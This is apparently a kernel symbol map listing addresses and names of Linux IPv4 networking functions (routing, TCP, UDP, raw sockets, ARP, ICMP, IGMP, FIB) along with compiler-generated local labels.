1020ef00 t .L1927
1020ef60 t .L1975
1020ef68 t .L1976
1020ef74 t .L1977
1020f024 t .L1978
1020f098 t ipv4_negative_advice
1020f0cc t .L1987
1020f150 t .L1990
1020f164 T ip_rt_send_redirect
1020f214 t .L1991
1020f234 t .L2006
1020f290 t ip_error
1020f2bc t .L2010
1020f2ec t .L2014
1020f304 t .L2029
1020f364 t .L2030
1020f384 T ip_rt_frag_needed
1020f648 T ip_rt_update_pmtu
1020f6c4 t ipv4_dst_check
1020f6ec t ipv4_dst_reroute
1020f6f4 t ipv4_dst_destroy
1020f778 t ipv4_link_failure
1020f7d0 t ip_rt_bug
1020f86c t .L2113
1020f884 t .L2116
1020f890 T ip_rt_get_source
1020f91c t .L2119
1020f968 t .L2124
1020f9a0 t .L2132
1020f9a8 t .L2133
1020f9bc t rt_set_nexthop
1020fab0 t ip_route_input_mc
1020fb60 t .L2170
1020fb64 t .L2149
1020fb94 t .L2177
1020fcc4 t .L2165
1020fd28 t .L2178
1020fd30 t .L2179
1020fd54 t .L2168
1020fd64 t .L2180
1020fd8c T ip_route_input_slow
1020fea8 t .L2200
1020fed0 t .L2225
1020fef8 t .L2226
1020ff24 t .L2229
1020ff70 t .L2256
1020ff78 t .L2257
1020ff80 t .L2258
10210390 t .L2259
102103dc T ip_route_input
102104b0 t .L2260
10210504 t .L2284
1021057c T ip_route_output_slow
102106b4 t .L2417
1021097c t .L2376
102109a0 t .L2379
102109b4 t .L2427
102109bc t .L2428
10210a38 t .L2356
10210a48 t .L2429
10210ab4 t .L2322
10210ac8 t .L2430
10210b24 t .L2341
10210b5c t .L2431
10210b68 t .L2340
10210b78 t .L2432
10210bf4 t .L2329
10210c44 t .L2333
10210c5c t .L2433
10210c64 t .L2434
10210ca8 t .L2313
10210ce8 t .L2435
10210d7c t .L2303
10210d90 t .L2436
10210d98 t .L2437
10210dd0 T ip_route_output_key
10210f50 T ip_rt_multicast_event
10210f6c t ipv4_sysctl_rtcache_flush
10210fa8 t ipv4_sysctl_rtcache_flush_strategy
10211010 t unlink_from_unused
1021106c t peer_avl_rebalance
102111a8 t unlink_from_pool
10211404 t cleanup_once
102114d8 T inet_getpeer
10211764 t peer_check_expire
102118ac t fold_prot_inuse
102118c4 T afinet_get_info
10211a00 t fold_field
10211a28 T snmp_get_info
10211c24 T netstat_get_info
10211d1c T inet_add_protocol
10211dbc T inet_del_protocol
10211ea0 T ip_call_ra_chain
10211f90 t ip_run_ipprot
10212050 T ip_local_deliver
10212124 t .L1164
1021214c t .L1174
102121a4 t .L1175
102121ec T ip_rcv
10212274 t .L1225
102122f0 t .L1227
10212320 t .L1288
10212460 t .L1252
10212494 t .L1236
102124c0 t .L1269
102124d4 t .L1289
1021253c t .L1259
10212574 t .L1290
102125f8 t .L1291
10212610 t .L1292
10212640 t .L1293
10212640 t ip_frag_destroy
10212664 t .L1128
102126e0 t .L1137
1021272c t .L1144
1021273c t .L1145
1021273c t ip_evictor
10212834 t .L1177
10212884 t .L1189
1021288c t ip_expire
1021295c t .L1201
10212978 t .L1203
10212998 t .L1210
102129a0 t .L1211
10212a00 t ip_frag_intern
10212abc t ip_frag_create
10212bac t ip_frag_queue
10212c14 t .L1238
10212c44 t .L1307
10212df0 t .L1267
10212e7c t .L1308
10212eec t ip_frag_reasm
10212f4c t .L1314
10213160 t .L1338
102131b0 t .L1347
102131c0 t .L1348
1021321c T ip_defrag
10213310 t .L1363
10213338 t .L1377
10213398 t .L1367
102133ac t .L1378
102133f4 T ip_forward
1021342c t .L1527
1021344c t .L1530
1021347c t .L1563
1021348c t .L1570
102134c8 t .L1571
10213500 t .L1536
10213590 t .L1544
10213600 t .L1572
10213640 t .L1573
10213668 t .L1574
10213670 t .L1575
10213678 t .L1576
10213680 t .L1577
10213698 T ip_options_build
10213698 t .L1578
10213864 T ip_options_echo
10213bd4 T ip_options_fragment
10213c5c t .L1140
10213c88 t .L1148
10213c94 T ip_options_compile
102141fc T ip_options_undo
10214318 T ip_options_get
102143b4 t .L1285
10214424 t .L1297
10214428 T ip_forward_options
1021450c t .L1309
10214588 T ip_options_rcv_srr
10214588 t .L1315
10214780 t ip_dev_loopback_xmit
102147e0 t .L1536
10214800 T ip_build_and_send_pkt
10214800 t .L1538
102148ec t .L1552
102149dc t .L1558
10214a1c T ip_mc_output
10214be8 t .L1609
10214bfc t .L1615
10214c2c t .L1598
10214c3c T ip_output
10214c3c t .L1616
10214d70 t .L1632
10214d84 T ip_queue_xmit
10214d84 t .L1635
10214e88 t .L1724
10214e8c t .L1668
10214ebc t .L1736
1021500c t .L1692
102150a4 t .L1703
10215144 t .L1737
102151c8 t .L1712
102151d8 t .L1738
102151e0 t .L1714
102151f4 t .L1739
10215204 t .L1740
10215220 t .L1741
102152cc t ip_build_xmit_slow
10215684 t .L1758
1021575c t .L1815
102157c0 T ip_build_xmit
10215834 t .L1816
102159b4 t .L1829
102159f0 t .L1869
10215a74 t .L1836
10215b34 t .L1870
10215b78 t .L1871
10215b7c T ip_fragment
10215d90 t .L1888
10215e60 t .L1880
10215e90 t .L1912
10215f0c t .L1927
10215f44 t .L1902
10215f84 t .L1928
10215f90 t .L1929
10215fa4 t .L1930
10215fa4 t ip_reply_glue_bits
1021608c T ip_send_reply
102161f0 T ip_send_check
10216260 T ip_finish_output
1021636c t .L1583
10216380 t .L1950
10216380 t ip_cmsg_recv_pktinfo
102163e0 t ip_cmsg_recv_ttl
10216418 t ip_cmsg_recv_tos
10216448 t ip_cmsg_recv_opts
10216484 T ip_cmsg_recv_retopts
102164c8 t .L1521
10216504 T ip_cmsg_recv
10216504 t .L1524
102165b4 T ip_cmsg_send
102166c0 T ip_ra_control
1021682c t .L1591
10216848 t .L1609
10216850 T ip_icmp_error
102169c8 t .L1610
102169ec t .L1629
10216a08 T ip_local_error
10216ba8 t .L1630
10216bd0 t .L1651
10216bec T ip_recv_error
10216cbc t .L1657
10216cec t .L1683
10216d74 t .L1664
10216e0c t .L1684
10216e20 T ip_setsockopt
10217070 t .L1739
102170cc t .L1744
102170ec t .L1916
1021710c t .L1917
102172f0 t .L1786
10217344 t .L1918
10217408 t .L1813
10217490 t .L1919
102175e0 T ip_getsockopt
10217cd0 T tcp_mem_schedule
10217f48 T __tcp_mem_reclaim
10217fbc T tcp_rfree
10217ff8 T tcp_poll
10218190 T tcp_write_space
10218194 t tcp_write_space
102181c0 t .L1677
10218260 t .L1708
10218288 t .L1693
102182a4 t .L1709
102182c0 T tcp_ioctl
102184e4 T tcp_listen_start
10218664 t tcp_listen_stop
10218858 t .L1740
102188c8 t .L1749
102188c8 t wait_for_tcp_connect
10218a7c t .L1760
10218a94 t .L1794
10218aa4 t wait_for_tcp_memory
10218d28 T tcp_sendmsg
10218df4 t .L1967
10218f24 t .L1870
10219008 t .L2036
10219158 t .L1985
10219178 t .L2037
102192a8 t .L2038
102193dc t .L1919
102194a0 t .L2039
10219634 t tcp_recv_urg
102196b0 t .L2047
102196d4 t .L2060
1021971c t cleanup_rbuf
10219748 t .L2063
10219794 t .L2084
1021988c t tcp_data_wait
10219a10 t tcp_prequeue_process
10219ae0 T tcp_recvmsg
10219ebc t .L2149
10219f34 t .L2192
10219f54 t .L2299
1021a100 t .L2300
1021a1b4 t tcp_close_state
1021a1ec t .L2304
1021a278 t .L2319
1021a2ac T tcp_shutdown
1021a2f4 T tcp_destroy_sock
1021a32c t .L2350
1021a358 t .L2352
1021a3ac t .L2355
1021a3f8 t .L2389
1021a420 t .L2363
1021a46c t .L2390
1021a52c t .L2378
1021a54c t .L2391
1021a564 t .L2392
1021a574 T tcp_close
1021a574 t .L2393
1021a5f8 t .L2420
1021a65c t .L2577
1021a6b4 t .L2430
1021a6d0 t .L2444
1021a7f8 t .L2419
1021a89c t .L2492
1021a944 t .L2532
1021a99c t .L2548
1021a9cc t .L2551
1021aa00 t .L2578
1021aa08 t .L2579
1021aa3c t .L2580
1021aa98 t .L2581
1021aad0 t .L2582
1021ab08 t .L2496
1021ab70 t .L2583
1021abe4 t .L2584
1021ac10 t .L2585
1021ac68 t .L2405
1021ac8c t .L2586
1021acc0 T tcp_disconnect
1021acc0 t .L2587
1021ad0c t .L2593
1021ad58 t .L2608
1021ad64 t .L2617
1021adb0 t .L2661
1021add8 t .L2625
1021ae44 t .L2662
1021ae60 t .L2631
1021aeac t .L2663
1021af8c t .L2642
1021afc8 t .L2664
1021b018 t .L2665
1021b04c t .L2666
1021b04c t wait_for_connect
1021b1f0 T tcp_accept
1021b324 t .L2721
1021b38c t .L2750
1021b3d0 T tcp_setsockopt
1021b518 t .L2781
1021b8b8 t .L2932
1021ba3c t .L2933
1021bb40 T tcp_getsockopt
1021bd14 t .L3084
1021bd24 t .L3085
1021bd34 t .L3086
1021bd44 t .L3087
1021bd88 t .L3064
1021c064 t tcp_incr_quickack
1021c098 T tcp_enter_quickack_mode
1021c0c0 t tcp_fixup_sndbuf
1021c0ec t __tcp_grow_window
1021c188 t tcp_fixup_rcvbuf
1021c1e8 t tcp_init_buffer_space
1021c20c t .L1578
1021c2e8 t .L1597
1021c2f8 t tcp_clamp_window
1021c408 t tcp_event_data_recv
1021c498 t .L1639
1021c54c t .L1659
1021c58c t .L1670
1021c5d8 t .L1671
1021c5e4 t .L1672
1021c630 T tcp_update_metrics
1021c800 T tcp_init_cwnd
1021c85c t tcp_init_metrics
1021c9ac t tcp_update_reordering
1021ca38 t tcp_sacktag_write_queue
1021cc6c t .L1855
1021cc78 t .L1856
1021cc9c t .L1858
1021ccf0 t .L1885
1021cd14 t .L1886
1021cd24 t .L1887
1021d008 T tcp_clear_retrans
1021d028 T tcp_enter_loss
1021d1e0 t tcp_check_sack_reneging
1021d300 t tcp_time_to_recover
1021d4c4 t tcp_check_reno_reordering
1021d510 t tcp_add_reno_sack
1021d54c t tcp_remove_reno_sacks
1021d5cc t tcp_mark_head_lost
1021d6b4 t tcp_update_scoreboard
1021d6e8 t .L1999
1021d700 t .L2000
1021d700 t tcp_cwnd_down
1021d770 t tcp_undo_cwr
1021d800 t tcp_try_undo_recovery
1021d900 t tcp_try_undo_dsack
1021d954 t tcp_try_undo_partial
1021da30 t tcp_try_undo_loss
1021db14 t tcp_try_to_open
1021dbf8 t .L2112
1021dc2c t .L2116
1021dc3c t tcp_fastretrans_alert
1021dca8 t .L2117
1021dd64 t .L2169
1021dddc t .L2145
1021de00 t .L2212
1021de5c t .L2213
1021de68 t .L2214
1021df60 t .L2215
1021df98 t .L2150
1021dfc4 t .L2216
1021dfec t .L2217
1021e11c t tcp_ack_saw_tstamp
1021e264 t tcp_ack_no_tstamp
1021e3a0 t tcp_clean_rtx_queue
1021e3e0 t .L2288
1021e438 t .L2314
1021e4d4 t .L2322
1021e4e0 t .L2323
1021e4ec t .L2324
1021e590 t .L2339
1021e5a0 t .L2340
1021e5b0 t .L2341
1021e5f0 t .L2342
1021e6f4 t .L2343
1021e724 t tcp_ack_probe
1021e814 t tcp_ack_update_window
1021e998 t tcp_ack
1021e9e0 t .L2398
1021ea48 t .L2447
1021eca4 T tcp_parse_options
1021ef0c t tcp_disordered_ack
1021efb4 t __tcp_sequence
1021eff8 t tcp_reset
1021f058 t .L2539
1021f0e8 t .L2556
1021f110 t tcp_fin
1021f1d8 t .L2558
1021f1dc t .L2600
1021f228 t .L2636
1021f27c t .L2610
1021f2d8 t .L2637
1021f300 t .L2638
1021f398 t .L2639
1021f3ac t .L2640
1021f3ac t tcp_send_dupack
1021f4a0 t tcp_sack_maybe_coalesce
1021f578 t tcp_sack_new_ofo_skb
1021f628 t .L2712
1021f678 t .L2748
1021f6a8 t tcp_sack_remove
1021f7ac t tcp_ofo_queue
1021f7d4 t .L2775
1021f8e8 t .L2815
1021f938 t .L2816
1021f9ec t tcp_data_queue
1021fbe4 t .L2817
1021fea0 t .L2961
10220238 t tcp_collapse_queue
10220508 t tcp_prune_queue
102205d4 t .L3005
10220620 t .L3023
102206d4 t tcp_data
102207b0 t .L3027
1022080c t .L3052
1022081c T tcp_cwnd_application_limited
10220898 t tcp_new_space
10220934 t .L3080
10220974 t .L3087
102209e8 t __tcp_data_snd_check
10220afc t tcp_check_urg
10220b84 t .L3136
10220be0 t .L3145
10220be0 t tcp_copy_to_iovec
10220c34 t .L3154
10220cc4 t .L3162
10220cc8 t __tcp_checksum_complete_user
10220d48 T tcp_rcv_established
10220de4 t .L3187
10220dec t .L3287
10220ee8 t .L3299
1022101c t .L3300
10221038 t .L3301
102210ec t .L3302
10221134 t .L3303
10221204 t .L3304
10221378 t .L3210
102213a8 t .L3305
102213fc t .L3306
102214e0 t tcp_rcv_synsent_state_process
102215b0 t .L3314
10221738 t .L3354
102217fc t .L3410
1022195c t .L3411
102219b4 T tcp_rcv_state_process
10221ad0 t .L3415
10221c70 t .L3466
10221cec t .L3422
10221e7c t .L3554
10221ea8 t .L3629
10221f00 t .L3630
10221fa8 t .L3502
10222044 t .L3631
10222088 t .L3632
102220a4 t .L3633
10222134 t .L3526
1022216c t .L3634
102221b4 t .L3635
102221d4 t .L3636
10222234 t .L3637
1022227c t .L3638
10222318 t tcp_advertise_mss
10222340 t tcp_cwnd_restart
102223f0 T tcp_transmit_skb
10222668 t .L1602
10222798 t .L1630
102228e8 T tcp_send_skb
10222b38 t tcp_fragment
10222db0 T tcp_sync_mss
10222e18 T tcp_write_xmit
10222f40 t .L1734
10222fa4 t .L1746
10223128 T __tcp_select_window
10223224 t tcp_retrans_try_collapse
1022339c t .L1796
102234c4 t .L1799
102234c8 T tcp_simple_retransmit
10223630 T tcp_retransmit_skb
10223704 t .L1836
1022377c t .L1863
10223838 t .L1866
1022389c T tcp_xmit_retransmit_queue
1022389c t .L1867
10223c8c T tcp_send_fin
10223d2c t .L1966
10223e54 t .L1967
10223f84 t .L2013
102240bc t .L2014
102240c0 T tcp_send_active_reset
10224188 T tcp_send_synack
10224300 T tcp_make_synack
10224730 T tcp_connect
102249dc t .L2177
10224a1c t .L2194
10224a48 t .L2209
10224a7c t .L2210
10224c70 T tcp_send_delayed_ack
10224d6c T tcp_send_ack
10224e70 t tcp_xmit_probe_skb
10224f04 T tcp_write_wakeup
10224ff4 t .L2246
10225138 T tcp_send_probe0
10225138 t .L2272
10225278 T tcp_init_xmit_timers
102252dc T tcp_clear_xmit_timers
102253b4 t tcp_write_err
1022540c t .L1529
102254b0 t .L1543
102254b0 t tcp_out_of_resources
102255b0 t .L1557
10225660 t .L1574
1022567c t tcp_orphan_retries
102256c4 t tcp_write_timeout
1022580c t tcp_delack_timer
10225864 t .L1630
10225884 t .L1632
102258a0 t .L1648
10225930 t .L1649
10225a34 t tcp_probe_timer
10225a5c t .L1650
10225ae8 t .L1663
10225af0 t .L1664
10225b04 t tcp_retransmit_timer
10225b38 t .L1668
10225dbc t .L1715
10225dbc t tcp_write_timer
10225df4 t .L1734
10225e14 t .L1736
10225e2c t .L1746
10225e7c t .L1744
10225e98 t .L1747
10225ed0 t .L1748
10225ed8 t .L1749
10225edc t tcp_synack_timer
102260f4 T tcp_delete_keepalive_timer
10226144 T tcp_reset_keepalive_timer
1022619c T tcp_set_keepalive
102261b8 t .L1795
102261e8 t .L1808
102261fc t .L1809
102261fc t tcp_keepalive_timer
10226228 t .L1859
1022624c t .L1861
10226268 t .L1882
102262a8 t .L1829
10226304 t .L1883
10226330 t .L1884
102263f4 t .L1885
10226428 t .L1849
10226460 t .L1886
102264ac t .L1887
102264c0 t .L1888
102264c4 T tcp_bucket_create
1022652c t tcp_v4_get_port
102267ac T tcp_put_port
10226800 t .L1625
10226848 T tcp_listen_wlock
10226848 t .L1629
1022693c t tcp_v4_hash
102269e0 t .L1668
10226a1c t .L1672
10226a54 t .L1676
10226a70 t .L1677
10226a74 T tcp_unhash
10226aa4 t .L1681
10226b00 t .L1689
10226b18 t .L1692
10226b28 t .L1693
10226b2c t __tcp_v4_lookup_listener
10226ba0 t tcp_v4_check_established
10226d38 t .L1815
10226d68 t .L1833
10226e2c T tcp_v4_hash_connecting
10226f0c t .L1843
10226f48 t .L1849
10226f74 t .L1858
10226f8c t .L1859
10226f90 T tcp_v4_connect
10227084 t .L1866
102272e8 t .L1899
102272ec t tcp_v4_search_req
102273a4 t tcp_v4_synq_add
10227424 t .L1918
10227444 T tcp_v4_err
10227444 t .L1920
102274b4 t .L1931
1022765c t .L2029
1022768c t .L2083
1022783c t .L2007
1022786c t .L2084
10227888 t .L2085
1022790c t .L2014
10227944 t .L2086
1022798c t .L2087
10227a54 t .L2088
10227aac t .L2089
10227bb4 T tcp_v4_send_check
10227c34 t tcp_v4_send_reset
10227da0 t tcp_v4_send_ack
10227f0c t tcp_v4_timewait_ack
10227f64 t .L2107
10227f80 t .L2109
10227f80 t tcp_v4_or_send_ack
10227fb8 t tcp_v4_route_req
102280d4 t tcp_v4_send_synack
102281e8 t tcp_v4_or_free
10228210 T tcp_v4_conn_request
1022827c t .L2145
10228488 t .L2203
10228654 T tcp_v4_syn_recv_sock
102287b8 t .L2225
102287f4 t .L2229
10228858 t .L2240
10228874 t .L2241
102288e4 t tcp_v4_hnd_req
10228a2c t .L2260
10228a44 t .L2273
10228ac4 t tcp_v4_checksum_init
10228bfc T tcp_v4_do_rcv
10228c88 t .L2312
10228cb8 t .L2321
10228cd4 t .L2330
10228d08 t .L2331
10228d34 t .L2332
10228d40 t .L2325
10228d54 T tcp_v4_rcv
10228d84 t .L2335
10228dac t .L2396
10228de0 t .L2462
10228fa4 t .L2463
102290b0 t .L2417
102290c8 t .L2464
102290d8 t .L2465
10229170 t .L2466
102291b4 t .L2385
102291c8 t .L2467
10229234 t .L2375
102292e0 t .L2468
102293f8 t __tcp_v4_rehash
10229434 t tcp_v4_reselect_saddr
10229610 T tcp_v4_rebuild_header
10229784 t v4_addr2sockaddr
102297a0 T tcp_v4_remember_stamp
102298d4 T tcp_v4_tw_remember_stamp
102299c0 t tcp_v4_init_sock
10229aa8 t tcp_v4_destroy_sock
10229ac8 t .L2530
10229b34 t .L2562
10229b50 t .L2536
10229b9c t .L2563
10229bc4 t .L2544
10229c10 t .L2564
10229c80 t get_openreq
10229d20 t get_tcp_sock
10229ebc t get_timewait_sock
10229f50 T tcp_get_info
1022a148 t .L2639
1022a260 t .L2608
1022a2e8 t .L2685
1022a35c t .L2686
1022a360 T tcp_v4_lookup_listener
1022a400 T __tcp_put_port
1022a43c t .L1620
1022a474 T tcp_inherit_port
1022a474 t .L2693
1022a4c4 T tcp_v4_lookup
1022a6ac T tcp_timewait_kill
1022a70c t .L1529
1022a730 t .L1519
1022a74c t .L1534
1022a778 T tcp_timewait_state_process
1022a778 t .L1535
1022a934 t .L1613
1022a9bc t .L1563
1022a9d4 t .L1614
1022aa34 t .L1566
1022aa70 t .L1556
1022aa70 t .L1615
1022aa94 t .L1559
1022aaac t .L1616
1022aaf8 t __tcp_tw_hashdance
1022aba8 t .L1624
1022abf4 T tcp_time_wait
1022abf4 t .L1628
1022ad70 t .L1639
1022ada4 t .L1642
1022ae48 t .L1656
1022ae7c t .L1657
1022ae7c t tcp_twkill
1022af24 t .L1666
1022afb8 T tcp_tw_deschedule
1022afb8 t .L1673
1022b00c t .L1678
1022b02c t .L1680
1022b040 t .L1683
1022b04c T tcp_tw_schedule
1022b04c t .L1684
1022b148 t .L1700
1022b17c t .L1704
1022b1d4 t .L1696
1022b210 t .L1705
1022b238 t tcp_twcal_tick
1022b2ec t .L1708
1022b304 t .L1724
1022b364 t .L1734
1022b374 t .L1735
1022b3d4 t .L1718
1022b3f4 T tcp_create_openreq_child
1022b3f4 t .L1736
1022b7dc T tcp_check_req
1022b8e0 t .L1773
1022b9e4 t .L1790
1022ba14 t .L1809
1022ba30 t .L1810
1022bac0 t .L1784
1022bb18 t .L1811
1022bb98 T tcp_child_process
1022bc00 t .L1821
1022bc24 t .L1826
1022bc6c t raw_v4_hash
1022bcf0 t raw_v4_unhash
1022bd68 T __raw_v4_lookup
1022bdbc T raw_v4_input
1022bef0 T raw_err
1022c03c t raw_rcv_skb
1022c168 t .L1210
1022c17c t .L1220
1022c194 T raw_rcv
1022c1d8 t raw_getfrag
1022c1fc t raw_getrawfrag
1022c278 t .L1228
1022c300 t .L1236
1022c30c t raw_sendmsg
1022c3c0 t .L1243
1022c630 t .L1289
1022c644 t raw_close
1022c670 t raw_bind
1022c738 T raw_recvmsg
1022c778 t .L1299
1022c7b4 t .L1316
1022c800 t .L1306
1022c878 t .L1317
1022c894 t raw_init
1022c8b0 t raw_seticmpfilter
1022c8e4 t raw_geticmpfilter
1022c97c t raw_setsockopt
1022c9ac t .L1371
1022c9dc t .L1379
1022c9dc t raw_getsockopt
1022ca0c t .L1380
1022ca3c t .L1388
1022ca3c t raw_ioctl
1022cae4 t get_raw_sock
1022cb84 T raw_get_info
1022cccc t udp_v4_get_port
1022cf20 t udp_v4_hash
1022cf4c t udp_v4_unhash
1022cfc8 T udp_v4_lookup_longway
1022d07c T udp_err
1022d0d8 t .L1231
1022d214 t .L1271
1022d284 t udp_check
1022d2b8 t udp_getfrag
1022d3d0 t udp_getfrag_nosum
1022d40c t .L1287
1022d444 t .L1290
1022d448 T udp_sendmsg
1022d8bc T udp_ioctl
1022d968 T udp_recvmsg
1022dab8 t .L1443
1022dad4 t .L1461
1022dbd8 T udp_connect
1022dcb4 t .L1467
1022ddf8 t .L1484
1022ddfc T udp_disconnect
1022de84 t udp_close
1022de9c t udp_queue_rcv_skb
1022dfc4 t .L1502
1022dfd8 t .L1506
1022dff0 t udp_v4_mcast_deliver
1022e138 t .L1536
1022e19c t .L1544
1022e1a0 t udp_checksum_init
1022e230 T udp_rcv
1022e2c8 t .L1588
1022e304 t .L1562
1022e308 t .L1555
1022e330 t .L1593
1022e390 t .L1594
1022e414 t .L1595
1022e4a8 t .L1596
1022e4e0 t get_udp_sock
1022e584 T udp_get_info
1022e6cc T udp_v4_lookup
1022e718 T arp_mc_map
1022e7cc t arp_hash
1022e7f8 t arp_constructor
1022e87c t .L1541
1022e8b4 t .L1549
1022e93c t .L1566
1022e95c t .L1567
1022e988 t .L1568
1022e988 t arp_error_report
1022e9ec t .L1574
1022ea00 t .L1576
1022ea00 t arp_solicit
1022eaf0 t .L1582
1022eb1c t .L1596
1022eb28 t arp_set_predefined
1022eba8 T arp_find
1022ecc8 t .L1630
1022ecdc t .L1648
1022ecf4 t .L1623
1022ed2c t .L1649
1022ed3c t .L1650
1022edc8 t .L1612
1022eddc T arp_bind_neighbour
1022eddc t .L1651
1022eea4 T arp_send
1022eeec t .L1663
1022f070 t .L1676
1022f0a4 t .L1684
1022f0b8 t .L1685
1022f0f0 t .L1686
1022f0f0 t parp_redo
1022f114 T arp_rcv
1022f184 t .L1693
1022f1ac t .L1748
1022f1b4 t .L1771
1022f1d4 t .L1703
1022f210 t .L1781
1022f21c t .L1782
1022f288 t .L1701
1022f3ec t .L1783
1022f478 t .L1726
1022f4a4 t .L1784
1022f4d4 t .L1785
1022f4dc t .L1786
1022f5ac t .L1787
1022f5f0 t .L1788
1022f630 T arp_req_set
1022f630 t .L1789
1022f7ec t .L1811
1022f7fc t .L1826
1022f884 t arp_state_to_flags
1022f8b0 t arp_req_get
1022f970 t .L1840
1022f99c T arp_req_delete
1022f99c t .L1842
1022f9d4 t .L1843
1022fa24 t .L1866
1022fa90 t .L1856
1022faa0 t .L1867
1022fb10 T arp_ioctl
1022fd10 t arp_get_info
10230048 T arp_ifdown
1023006c t icmp_xmit_lock_bh
1023007c t icmp_xmit_unlock_bh
1023008c T xrlim_allow
102300e0 t icmp_out_count
10230148 t icmp_glue_bits
102301e4 T icmp_reply
1023022c t .L1556
102302f8 t .L1576
10230340 t .L1567
102303d8 t .L1577
102303e0 T icmp_send
102305b8 t .L1619
10230728 t .L1624
102307a8 t icmp_unreach
102307e8 t .L1625
10230918 t .L1675
102309e8 t icmp_redirect
10230a14 t .L1676
10230a60 t .L1686
10230a60 t icmp_echo
10230a80 t .L1688
10230ab0 t .L1690
10230ab0 t icmp_timestamp
10230ae4 t .L1691
10230b7c t .L1693
10230b7c t icmp_address
10230b80 t icmp_address_reply
10230c24 t .L1711
10230c44 t .L1695
10230c68 t .L1722
10230cbc t .L1723
10230cd0 t icmp_discard
10230cd4 T icmp_rcv
10230d80 t .L1738
10230da8 t .L1745
10230e64 t inet_alloc_ifa
10230eb8 T in_dev_finish_destroy
10230f28 t .L1110
10230f50 t .L1106
10230f70 t .L1114
10230f78 T inetdev_init
10230f78 t .L1115
10230fb4 t .L1117
10231120 t .L1122
10231138 t .L1137
10231140 t .L1138
10231144 t inetdev_destroy
10231180 t .L1140
1023125c t .L1157
1023127c t .L1163
10231290 t .L1145
102312a8 t .L1164
102312b0 t .L1165
102312b4 T inet_addr_onlink
10231320 t inet_del_ifa
10231384 t .L1185
1023141c t .L1212
1023145c t .L1224
10231550 t .L1190
10231568 t .L1225
10231570 t .L1226
10231574 t inet_insert_ifa
102315b0 t .L1228
102317a4 t .L1233
102317bc t .L1267
102317c4 t .L1268
102317c8 t inet_set_ifa
1023180c t .L1271
102318f8 t .L1276
10231910 t .L1289
10231918 t .L1290
1023191c T inetdev_by_index
10231968 T inet_ifa_byprefix
102319ac t .L1297
10231a34 t .L1302
10231a4c t .L1319
10231a54 t .L1320
10231a58 T devinet_ioctl
10231c14 t .L1353
10231ce8 t .L1459
10231f1c t .L1460
10231f48 t .L1461
10231fb0 t .L1462
10232028 t inet_gifconf
102320b0 t .L1474
10232120 t .L1485
10232130 T inet_select_addr
10232214 T register_inetaddr_notifier
10232238 T unregister_inetaddr_notifier
1023225c t inetdev_event
102322a0 t .L1537
10232318 t .L1544
1023234c t .L1548
10232358 t .L1583
102323d8 t .L1584
102323e0 t .L1585
102323e8 t .L1586
10232450 t .L1542
10232468 t .L1587
10232470 t .L1588
10232474 T inet_forward_change
102324d4 t devinet_sysctl_forward
10232538 t .L1602
1023255c t .L1607
10232560 t devinet_sysctl_register
10232648 t .L1608
10232668 t .L1623
10232680 t devinet_sysctl_unregister
102326b0 T inet_sock_destruct
102326c4 t .L1539
10232710 t .L1573
10232738 t .L1547
10232784 t .L1574
10232850 t .L1538
10232870 t .L1575
10232890 T inet_sock_release
10232890 t .L1576
1023291c t .L1580
10232930 T inet_setsockopt
10232930 t .L1582
10232960 T inet_getsockopt
10232990 t inet_autobind
10232acc T inet_listen
10232bf0 t inet_create
10232e40 T inet_release
10232eb4 t inet_bind
1023312c T inet_dgram_connect
102331c4 t inet_wait_for_connect
1023335c T inet_stream_connect
102335e8 T inet_accept
10233680 t .L1835
1023372c t .L1847
10233734 t inet_getname
102337a0 T inet_recvmsg
10233804 T inet_sendmsg
10233878 T inet_shutdown
10233a40 t inet_ioctl
10233e9c t .L1899
10233f68 t .L2122
10233f74 t .L2123
10233f80 t .L2124
10233f9c t .L2125
10233fd8 t .L2126
10233fe0 t ip_ma_put
1023400c t .L1111
1023403c t .L1114
10234048 t .L1117
10234050 t .L1118
10234050 t ip_mc_filter_add
10234084 t .L1120
102340a0 t .L1122
102340a0 t ip_mc_filter_del
102340d4 t .L1124
102340f0 t .L1126
102340f0 t igmp_group_dropped
1023411c t igmp_group_added
1023412c t .L1130
10234150 T ip_mc_inc_group
10234150 t .L1132
1023418c t .L1134
10234278 t .L1139
10234290 t .L1162
10234298 t .L1163
1023429c T ip_mc_dec_group
102342d8 t .L1165
1023438c t .L1170
102343a4 t .L1188
102343ac t .L1189
102343b0 T ip_mc_down
102343e4 t .L1191
10234434 t .L1196
1023444c t .L1206
10234454 t .L1207
10234458 T ip_mc_up
1023448c t .L1209
102344dc t .L1214
102344f4 t .L1224
102344fc t .L1225
10234500 T ip_mc_destroy_dev
1023453c t .L1227
102345d8 t .L1232
102345f0 t .L1251
102345f8 t .L1252
102345fc t ip_mc_find_dev
102346f4 T ip_mc_join_group
1023478c t .L1270
1023487c t .L1287
102348a4 t .L1297
102348e8 T ip_mc_leave_group
102348e8 t .L1298
102349d0 t .L1307
102349fc t .L1318
10234a10 T ip_mc_drop_socket
10234a84 t .L1324
10234ac4 T ip_check_mc
10234ac4 t .L1331
10234af0 t ipv4_sysctl_forward
10234b54 t ipv4_sysctl_forward_strategy
10234bcc T fib_flush
10234c20 t fib_get_procinfo
10234d1c T ip_dev_find
10234db4 t .L1557
10234dc4 t .L1563
10234df0 T inet_addr_type
10234e70 t .L1568
10234ebc T fib_validate_source
10234ebc t .L1574
10234f88 t .L1581
10235008 t .L1624
10235018 t .L1589
1023504c t .L1594
102350f0 t .L1625
102350fc t .L1603
10235120 t .L1626
10235130 t .L1592
10235130 t .L1627
10235140 t .L1628
10235148 T ip_rt_ioctl
1023521c t .L1639
10235284 t .L1657
102352d8 t fib_magic
10235424 t fib_add_ifaddr
102354e4 t .L1676
1023557c t .L1692
1023559c t .L1693
102355a0 t fib_del_ifaddr
10235604 t .L1698
1023566c t .L1709
10235670 t .L1710
10235674 t .L1711
10235678 t .L1694
102356e0 t .L1724
102356fc t .L1725
10235718 t .L1726
10235734 t .L1727
10235740 t .L1728
1023576c t .L1729
10235770 t fib_disable_ip
102357b4 t fib_inetaddr_event
102357c8 t .L1733
10235800 t .L1741
1023580c t .L1742
10235820 t .L1743
10235824 t fib_netdev_event
102358a0 t .L1747
102358bc t .L1770
102358c8 t .L1771
102358d0 T free_fib_info
102358d0 t .L1772
1023591c t .L1545
10235940 t .L1539
1023595c t .L1552
10235970 T fib_release_info
10235970 t .L1553
10235990 t .L1561
10235a00 t .L1565
10235a0c T ip_fib_check_default
10235a74 T fib_nh_match
10235aec t fib_check_nh
10235ca0 t .L1637
10235cb0 t .L1651
10235d3c t .L1652
10235d5c t .L1642
10235d6c T fib_create_info
10235d6c t .L1653
102361b8 T fib_semantic_match
10236280 T __fib_res_prefsrc
